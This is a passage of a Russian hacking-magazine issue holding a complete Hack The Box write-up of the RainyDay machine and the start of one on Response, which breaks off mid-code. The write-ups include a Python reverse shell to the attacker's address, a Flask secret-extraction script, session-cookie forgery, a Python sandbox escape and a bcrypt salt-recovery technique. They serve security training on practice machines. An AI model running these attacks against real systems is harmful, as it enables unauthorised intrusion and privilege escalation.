книги хакеры / журнал хакер / ха-287_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
|
-x |
|
n |
|
|
|
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ЭКСПЛУАТИРУЕМ API
И БРУТИМ «СОЛЕНЫЙ» ПАРОЛЬ
В этом райтапе я покажу, как можно про эксплу ати ровать уязвимость в API веб при ложения , чтобы получить доступ к хосту . Затем выйдем из песочницы Python
ипокопаемся в криптогра фии , чтобы получить критичес ки важные данные
иповысить привиле гии в системе .
RalfHacker hackerralf8@gmail.com
Нашей целью будет захва т учебной машины RainyDay с площад ки Hack The Box. Ее уровень — сложный .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.184 rainyday.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дится обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание, с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
Нашлось два открытых порта : 22 — служба OpenSSH 8.9p1 и 80 — веб сер вер Nginx 1.18.0. На SSH нам пока заходить рано, посколь ку учетных данных
унас нет (а перебирать их на машине с HTB не предполага ется).
Взаголовке ответа веб сервера Nmap нашел поле http-title, которое
сообщае т о редиректе на адрес rainycloud.htb. Поэтому изменим запись в файле /etc/hosts и обратим ся к новому сайту через браузер .
10.10.11.184 rainyday.htb rainycloud.htb
Главная страница сайта http://rainycloud.htb/
ТОЧКА ВХОДА
Давай постро им карту сайта в Burp Suite, чтобы лучше ориенти ровать ся . Для этог о выбираем любой запрос к целевому сайту и в контекс тном меню кликаем Engagement tool → Discovery content. После окончания сканиро вания
на вкладке Site map увидим что то похожее на скрин ниже.
Карта сайта rainycloud.htb
Когда Burp Suite строит карту , он не только сканиру е т каталоги и файлы , но и собирае т ссылки и переходи т по ним. Так как не происхо ди т сканиро вания поддоменов , то выполним его с помощью fuf.
Одн о из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информаци ю и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочита ю легкий и очень быстрый fuf. При запуске указыва ем сле дующие параметры :
•-u — URL;
•-w — словарь (я использую словари из набора SecLists);
•-H — дополнитель ный HTTP-заголовок ;
•-t — количеств о потоков;
•-fs — фильтр , исключающий страницы по размеру .
ffuf -u 'http://rainycloud.htb' -w subdomains-top1million-110000.txt
-H "Host: FUZZ.rainycloud.htb" -t 256 -fs 229
Резуль та т сканиро вания каталогов с помощью fuf
Добав ляем новый домен в файл /etc/hosts.
10.10.11.184 rainyday.htb rainycloud.htb dev.rainycloud.htb
Но сайт на новом домене нам недоступен , о чем говорит код ответа 403. Зато на карте сайта есть интерес ная страница /api/.
Страница /api/
Эндпо ин т /api/list показывае т нам единствен ный существу ющий образ
Docker.
Сущес тву ющие докер образы
Еще мы можем запросить URL вида /api/user/<id>, чтобы получить информаци ю о пользовате ле . Немного поиграв с форматом id, я получил три имени пользовате ля и хеши их паролей.
Данные пользовате ля jack
Данные пользовате ля root
Данные пользовате ля gary
ТОЧКА ОПОРЫ
Найден ные хеши были созданы алгорит мом bcrypt, который устойчив
к перебору , — работа hashcat заняла около 25 минут. Для перебора bcrypt нужн о использовать режим 3200 (параметр -m).
hashcat -m 3200 hashes.txt rockyou.txt
Резуль та т перебора хешей
С найден ным паролем авторизу емся на сайте и получаем возможность соз дать контей нер Docker.
Главная страница сайта
Создаем новый контей нер , и нам открывает ся панель управления контей нером.
|
|
|
|
Главная страница |
сайта |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Внутри |
контей нера |
можно |
выполнять |
команды , |
поэтому |
получим |
|||||
реверс шелл. В качестве |
листенера |
я использую |
pwncat. Так |
||||||||
|
|
|
|
|
|
||||||
как реверс шелл должен |
висеть долго , выполняем |
команду в |
фоновом |
||||||||
режиме: |
|
|
|
|
|
|
|
|
|
|
|
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty;pty.spawn("/bin/sh")'
Получа ем сесси ю и проверя ем внутренн юю сеть.
Настрой ки сетевог о адаптера
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЭКСПЛУАТИРУЕМ API И БРУТИМ «СОЛЕНЫЙ» ПАРОЛЬ
ПРОДВИЖЕНИЕ Пользователь jack
Загрузим на хост статичес ки собранный Nmap и найдем другие хосты (кон тейнеры ) в сети.
./nmap -sn 172.18.0.0/24
Резуль тат сканиро вания сети
Дальше ничего сделать не удалось , но вспомина ем про еще один, ранее недоступный сайт на поддомене dev. Нужн о снова проверить его дос тупность, так как теперь мы можем обратить ся к нему из внутренней сети. Чтобы получить доступ к этому сайту , нужно постро ить туннель . Для этого будем использовать chisel. На локальном хосте запустим сервер , ожи дающий подклю чения (параметр --reverse) на порт 8000 (параметр -p).
chisel.bin server -p 8000 --reverse
Теперь на удален ном хосте запустим клиент скую часть. Указыва ем адрес сер вера и порт для подклю чения , а также маршру т туннеля : локальный порт 8888 будет вести на порт 80 хоста 172.18.0.1.
./chisel.bin client 10.10.14.17:8000 R:8888:172.18.0.1:80
В логах сервера мы должны увидеть сообщение о создании новой сессии . Теперь остается изменить запись dev.rainycloud.htb в файле /etc/hosts на локальный хост и обратить ся к сайту .
127.0.0.1 dev.rainycloud.htb
Главная страница сайта DEV
И сайт доступен ! Причем это dev-версия того сайта , с которым мы уже работали , поэтому сразу переходим к знакомо му API.
curl http://dev.rainycloud.htb:8888/api/healthcheck | jq
Отве т сервера
В ответе представ лены варианты провер ки файлов . Так как первые три вари анта привяза ны к файлам определен ных типов, нам более важен последний тип, в котором можн о задать паттерн . Повторим последний вариан т со сле дующими параметрами :
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie
'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.
sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/etc/passwd&type=custom&
pattern=^root.*' | jq
Отве т сервера
Сервис ответил , что в файле /etc/passwd есть последова тель ность , которая соответс тву е т паттерну ^root.*. Значит , мы можем не только проверять существо вание того или иного файла , но и вытягивать из них строки . Так, пер вая справка раскры ла путь к каталогу сайта /var/www/rainycloud/, и я перебра л несколь к о вариантов имен файлов , которые могут содержать сек рет Flask. В итоге получаем верный ответ для файла secrets.py.
curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie
'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.
sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/var/www/rainycloud/secrets.py&
type=custom&pattern=^SECRET_K
EY.*' | jq
Отве т сервера
Теперь можн о автомати зиро вать посимволь ное получение секрета . Для это го к верному паттерну нужно подстав лять разные символы и, если ответ вер ный, изменять паттерн дальше . Для этого я накидал следующий код:
import requests
import json
sess = requests.Session()
secret = "SECRET_KEY"
while True:
for c in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/="'.':
try:
r = sess.post('http://dev.rainycloud.htb:8888/api/
healthcheck', {
'file': '/var/www/rainycloud/secrets.py',
'type': 'custom',
'pattern': "^" + secret + c + ".*"
}, cookies={'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.
sauINNJZPW5yNHkQ44vdw3RkCDA'})
if json.loads(r.content)['result']:
secret += c
print(secret)
break
except Exception:
pass
Резуль та т работы скрипта
Таким образом мы получаем секре т Flask и можем подделать сессию любого пользовате ля . Сначала с помощью fask-session-cookie-manager расшифру ем данные , передаваемые в cookie.
python3 flask_session_cookie_manager3.py decode -s
f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -c
eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA
Расшифро ван ные данные
А теперь изменим имя пользовате ля и сделаем новый идентифика тор сессии .
python3 flask_session_cookie_manager3.py encode -s
f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -t
"{'username': 'jack'}"
Получе ние нового идентифика тора сессии
Заменя ем куки в браузе ре , обновляем страницу и получаем контей неры пользовате ля jack.
Контей неры пользовате ля jack
Уже знакомым методом попадаем внутрь контей нера и проводим разведку . Скрипты для перечисления системы ничего мне особо не дали, поэтому я решил отследить запускаемые процес сы с помощью pspy64.
Логи pspy64
В логах видим использование SSH-агента , а затем продол житель ный сон. Мне это показалось странным . Зная идентифика тор процес са , мы можем осмотреться в его окружении . Так находим примон тирован ный каталог с при ватным SSH-ключом пользовате ля .
Приват ный SSH-ключ пользовате ля
Подклю чаем ся уже к основному хосту и забираем первый флаг.
Флаг пользовате ля
Пользователь jack_adm
Нам снова нужн о собрать информацию , и на этот раз скрипт PEASS навел меня на правиль ный путь — настрой ки sudoers.
Файл /etc/sudoers в Linux содержи т списки команд, которые разные группы пользовате лей могут выполнять от имени админис тратора системы . Можно просмотреть его как напрямую , так и при помощи команды sudo -l.
|
|
|
|
|
|
|
|
|
Настрой |
ки sudoers |
|
|
|
|
|
|
|
|
||||||||||
Пользователь |
jack может выполнить |
команду |
/usr/bin/safe_python * |
|||||||||||||||||||||||||
от имени пользовате |
ля jack_adm без ввода пароля. Этот файл запустит |
|||||||||||||||||||||||||||
скрипт на Python в урезан ном |
режиме. А значит , нам нужно выйти из песоч |
|||||||||||||||||||||||||||
ницы Python. Попробовав |
несколь |
ко нагрузок |
из своей коллекции |
, |
я нашел |
|||||||||||||||||||||||
подходящую |
. Давай разберем |
, как она работает . |
|
|
|
|
|
|
|
|
||||||||||||||||||
Первым |
делом в коде нам нужно добрать |
ся до класса object. Для этого |
||||||||||||||||||||||||||
мы восполь |
зуем |
ся таким свойством |
языка Python, как MRO (method resolution |
|||||||||||||||||||||||||
order) — порядок разрешения |
методов. Когда мы ищем атрибу т в классе , |
|||||||||||||||||||||||||||
который участву е т в множес твен |
ном |
наследова |
нии , соблюда |
ется |
определен |
|
||||||||||||||||||||||
ный порядок. Сначала |
атрибу т ищется в текущем классе . Если ничего не най |
|||||||||||||||||||||||||||
дено, поиск переходи т к родительским |
классам . Этот порядок называется |
|||||||||||||||||||||||||||
линеари заци |
ей класса , а набор применя |
емых |
правил |
называется |
как раз |
|||||||||||||||||||||||
порядком |
разрешения |
метода (MRO). Для получения |
MRO класса можно |
|||||||||||||||||||||||||
использовать |
атрибу т __mro__. В качестве класса возьмем , к примеру |
, кор |
||||||||||||||||||||||||||
теж. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
().__class__.__mro__[1]
Получе ние класса object
Когда мы не можем импортировать нужные модули, так как это запрещено , мы должны использовать только собствен ные встроенные функции Python. Встроенные функции , не предполага ющие непосредс твенного исполь зования, автомати чески вводят ся в среду с помощью встроенно го модуля builtins. А уже через этот модуль можно получить доступ к заморожен ному модулю — скомпилиро ванному байт коду для работы без предус тановленно го интерпре татора Python. В нем нас больше всего интересу ет класс
BuiltinImporter.
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[
"__builtins__"]
Получе ние frozen-модуля Python
Получив доступ к классу BuiltinImporter, можн о использовать функцию load_module для непосредс твен ной загрузки встроенно го модуля builtins. Из него мы уже сможем смело импортировать нужные нам модули и исполь зовать определен ные функции . К примеру , функцию system из модуля os.
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[
"__builtins__"]["__loader__"]().load_module("builtins").__import__(
"os").system("whoami")
Выпол нение команды в терминале
А теперь вместо whoami используем команду , которая позволи т нам получить интерак тивную командну ю оболоч ку. Записываем команду в файл и исполня ем этот файл через safe_python на целевом хосте .
().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__[
"__builtins__"]["__loader__"]().load_module("builtins").__import__(
"os").system("bash -i")
sudo -u jack_adm /usr/bin/safe_python /tmp/test.py
Сессия пользовате ля jack_adm
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Снова перекапывать всю систему смысла нет, а вот проверить настрой ки sudoers в изменив шемся контек сте необходимо .
sudo -l
Настрой ки sudoers
Мы можем запустить скрипт /opt/hash_system/hash_password.py от имени рута. Запускаем команду для теста , и нас прося т ввести пароль.
Провер ка скрипта
В ответе получаем хеш bcrypt. Интерес но , что если попробовать его проб рутить, то его прообра зом не будет введен ная нами строка test. Скорее все го, при хешировании использует ся соль. Но просмотреть скрипт мы не можем.
Провер ка файла hash_password.py
Так как мы на первоначаль ном этапе получили хеш пароля рута, возникло предположе ние , что если найти соль, то можно будет пробрутить и «соленый» пароль рута. Давай попробу ем ввести пустой пароль, чтобы хеш вычислялся тольк о из соли.
Ошибка при пустом пароле
Но получаем ошибку , так как проверя ется длина введен ного пароля. Долго искать решение задачи не пришлось — я уже видел похожую идею в одном CTF. Дело в том, что bcrypt — это хеш, у которого максималь ный размер хешируемой строки составля ет 72 байта . То есть все байты после 72-го будут отсечены . Таким образом , мы могли бы ввести 71 известный нам байт, а 72- й — это первый симво л добавленной соли. Затем мы перебираем этот единствен ный симв ол и задаем уже строку из 70 байт. Теперь будет добав лено два символа соли, один из которых мы знаем , и останет ся перебрать второй . Таким способом мы постепен но вытягиваем всю строку соль.
H1 = 72*'A'
H2 = 71*'A' + S[0]
H3 = 70*'A' + S[0] + S[1]
В этой задаче есть одно усложнение — регламен тированная длина строки до 30 символов включитель но. Здесь стои т проявить смекал ку. Заметь, что хешируется строка до 72-го байта , а проверя ется строка до 30 символов . Таким образом , если мы будем использовать кодировку , где каждый символ обознача ется 3 байтами , то в 30 символах мы сможем передать аж 90 байт!
Чтобы найти такие символы , можно восполь зоваться таблицей . Я взял симв ол .
Таблица UTF8-3byte
Копиру ем из таблицы выбранный симво л и передаем в качестве пароля стро ку из 24 таких символов .
Вычис ление хеша
Получа ем хеш и проверя ем наше предположе ние . Для этого записываем вве денну ю строку в файл и передаем его в качестве словаря для перебора .
hashcat -m 3200 hash.txt wordlist.txt
Нахож дение прообра за хеша с помощью hashcat
В итоге строка была обнаруже на , и мы можем начать вытягивать соль. Передаем программе строку из 23 символов и двух обычных букв A. Так дли на строки составит 25 символов , но 71 байт.
Вычис ление хеша
Теперь составим словарь для полученного хеша. Для этого к введен ной нами строке добавим по очереди все возможные символы и запишем в словарь .
s = |
' |
AA' |
for |
i |
in range(0,255): |
|
|
print(s + chr(i)) |
Составлен ный список передаем в hashcat и отправляем хеш на брут.
hashcat -m 3200 hash.txt wordlist.txt
Нахож дение прообра за хеша с помощью hashcat
И получае м первый симво л соли — H. Теперь повторя ем наш трюк и переда ем программе 24 символа (71 байт).
Вычис ление хеша
Теперь обновляем наш список для перебора . Мы знаем первый символ соли, второй будем перебирать .
s = |
' |
AH' |
for |
i |
in range(0,255): |
|
|
print(s + chr(i)) |
hashcat -m 3200 hash.txt wordlist.txt
Нахож дение прообра за хеша с помощью hashcat
У нас уже есть два символа соли. Продол жаем дальше получать по одному символу . Я перейду сразу к последней итерации , где мы уже получили всю соль (H34vyR41n). Так как последний симво л будет 0 байт, hashcat отобразит прообраз в шестнад цатерич ном виде.
s = |
' |
AAH34vyR41n' |
for |
i |
in range(0,255): |
|
|
print(s + chr(i)) |
|
|
Нахож дение |
прообра |
за хеша с помощью hashcat |
|
|
||
|
|
|
|
|
|
|||
Перехо |
дим |
к бруту хеша пароля рута. Возьмем |
словарь |
rockyou.txt |
||||
и добавим соль к каждому |
слову . |
|
|
|
|
sed 's/$/H34vyR41n/' rockyou.txt > new_rockyou.txt
Отправ ляем хеш на перебор по новому словарю и спустя некоторое время получаем пароль!
hashcat -m 3200 hash.txt wordlist.txt
Нахож дение прообра за хеша с помощью hashcat
Через su меняем пользовате ля в системе и авторизу емся как root с паролем
246813579.
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С HACK THE BOX
В этом райтапе я покажу, как исследовать
API сайта на предмет потенциаль ных лазе ек, затем мы напишем собствен ный прок си сервер на Python, а потом применим
XSS для эксфильтра ции данных и проэкс плуати руем сложную уязвимость чтения произволь ных файлов .
RalfHacker hackerralf8@gmail.com
Упражнять ся мы будем на виртуаль ной машине Response с площад ки Hack The Box. Ее уровень сложности — Insane, и на сегодняшний день это самая сложная машина на HTB и первая в моей серии райтапов , которую мне не удалось пройти до конца . Однако даже получение двух пользователь ских учеток оказалось захватыва ющим .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.163 response.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дится обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание, с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
Мы нашли всег о два открытых порта : 22 — служба OpenSSH 8.2p1 и 80 — веб сервер Nginx 1.21.6. С SSH ничего не сделать , поэтому сразу переходим
к вебу.
Главная страница сайта response.htb
На сайте находим упомина ние домена www.response.htb, поэтому обновля ем запись в файле /etc/hosts:
10.10.11.163 response.htb www.response.htb
Чтобы расширить область тестирова ния, составим карту сайта с помощью Burp Discovery. Для этог о в Burp History выбираем целевой адрес и в кон
текстном меню Engagement tools → Discover content.
Карта сайта
Так находим нестандар тный файл /status/main.js.php.
ТОЧКА ВХОДА
Копиру ем содержимое файла /status/main.js.php на локальну ю машину и изучаем . Этот файл содержи т данные для обращения к домену api. response.htb через сайт на домене proxy.response.htb.
Содер жимое файла main.js.php
Так как обращение происхо ди т к поддомену proxy, добавляем в /etc/hosts тольк о его.
10.10.11.163 response.htb www.response.htb proxy.response.htb
Затем копируем данные для обращения и повторя ем запрос .
POST /fetch HTTP/1.1
Host: proxy.response.htb
Content-Type: application/json
Content-Length: 262
{"url":"http://api.response.htb/","url_digest":
"cab532f75001ed2cc94ada92183d2160319a328e67001a9215956a5dbf10c545",
"method":"GET","session":"6c2a752c873e8c03fc927a81647402d0",
"session_digest":
"6ce5cbd27651561e9005287bc5d8cf3201aa6c4fe885057ae80b40af0b8951bd"}
Запрос и ответ сервера
Отве т от сервера закодирован в Base64, декодировать можно прямо в Burp Inspector.
Burp Inspector
Так как дальше данные представ лены в формате JSON, можно красиво отоб разить их при помощи утилиты jq.
Получен ные с сервера данные
Просмотрим также страницы /get_chat_status и /get_servers.
Обращение к странице /get_chat_status
Отве т сервера
Обращение к странице /get_servers
Отве т сервера
Раскры ваем еще один сервис — chat.response.htb. Добавляе м его в файл /etc/hosts и просматри ваем ответ сервера .
10.10.11.163 response.htb www.response.htb proxy.response.htb chat.
response.htb
Отве т сервера
Сайт оказал ся недоступен . Но можно обратить ся к нему через сайт proxy. Правда , для этог о нам нужно подтвер дить параметр url подпись ю в парамет ре url_digest, который сами вычислить мы не можем. Но параметр session, где передается идентифика тор веб сессии , тоже подтвержда ется подписью session_digest.
Запрос /status/main.js.php
Тогда пробуем вместо идентифика тора сессии отправить ссылку , чтобы получить подпись для нее.
Получе ние подписи URL
Как видишь, мы узнаем действи тель ну ю подпись URL, отправленно го вместо идентифика тора сессии .
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
БЬЕМСЯ НАД САМОЙ СЛОЖНОЙ МАШИНОЙ С
HACK THE BOX
ТОЧКА ОПОРЫ |
|
|
|
|
|
Теперь |
проверим |
, приде т ли нам ответ, если мы попробу |
ем обратить ся |
||
к чату. Первым делом сгенери |
руем |
для url действи тель ный url_digest. |
Получе ние значения url_digest
С подпись ю можн о выполнить запрос к прокси сайту .
Получе ние содержимого страницы chat.response.htb
Способ получения подписи оказал ся рабочим. Но как бы я ни пытался эксфильтро вать данные , все равно прише л к тому, что нужно писать свой проксиру ющий веб сервер . Работать он будет так:
1.Через свой браузер обращаем ся к внутренне му сайту , указывая IP-адрес написанног о нами веб сервера .
2.Наш сервер будет кодировать принятый запрос и отправлять на прок си сайт.
3.После получения ответа от прокси сайта наш самописный сервер будет декодировать принятые данные и отправлять в качестве ответа браузе ру.
Так как работать будем с сайтом http://chat.response.htb, сделаем запись в файл /etc/hosts:
127.0.0.1 chat.response.htb
Сначала напишем оснастку веб сервера без всяких функций . В классе сер вера ProxyServer реализуем обработ чики do_GET и do_POST, которые будут вызывать единый метод do_Multi. Сперва просто будем выводить URL, к которому обратит ся браузер .
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
def do_Multi(self, method):
uri = self.path
target_url = 'http://chat.response.htb' + uri
print(method + " " + target_url)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
pass
ws = ThreadedHTTPServer(("0.0.0.0", 80), ProxyServer)
print("Server started...")
try:
ws.serve_forever()
except KeyboardInterrupt:
pass
ws.server_close()
print("Server stopped.")
Запус каем сервер и обращаем ся к http://chat.response.htb/.
Логи сервера
Теперь наш сервер должен получать параметр url_digest для запрошен ного URL. Для этог о реализуем функци ю getUrlDigest, принима ющу ю URL.
В функции выполняем запрос к http://www.response.htb/status/main. js.php и извлекаем подпись из ответа .
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
import requests
def getUrlDigest(target_url):
r = requests.get('http://www.response.htb/status/main.js.php',
cookies={'PHPSESSID': target_url})
index = r.text.index("'session_digest':'") + 18
url_digest = r.text[index : index + 64]
return url_digest
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.do_Multi('GET')
def do_POST(self):
self.do_Multi('POST')
def do_Multi(self, method):
uri = self.path
target_url = 'http://chat.response.htb' + uri
print(method + " " + target_url)
url_digest = getUrlDigest(target_url)
print(url_digest)
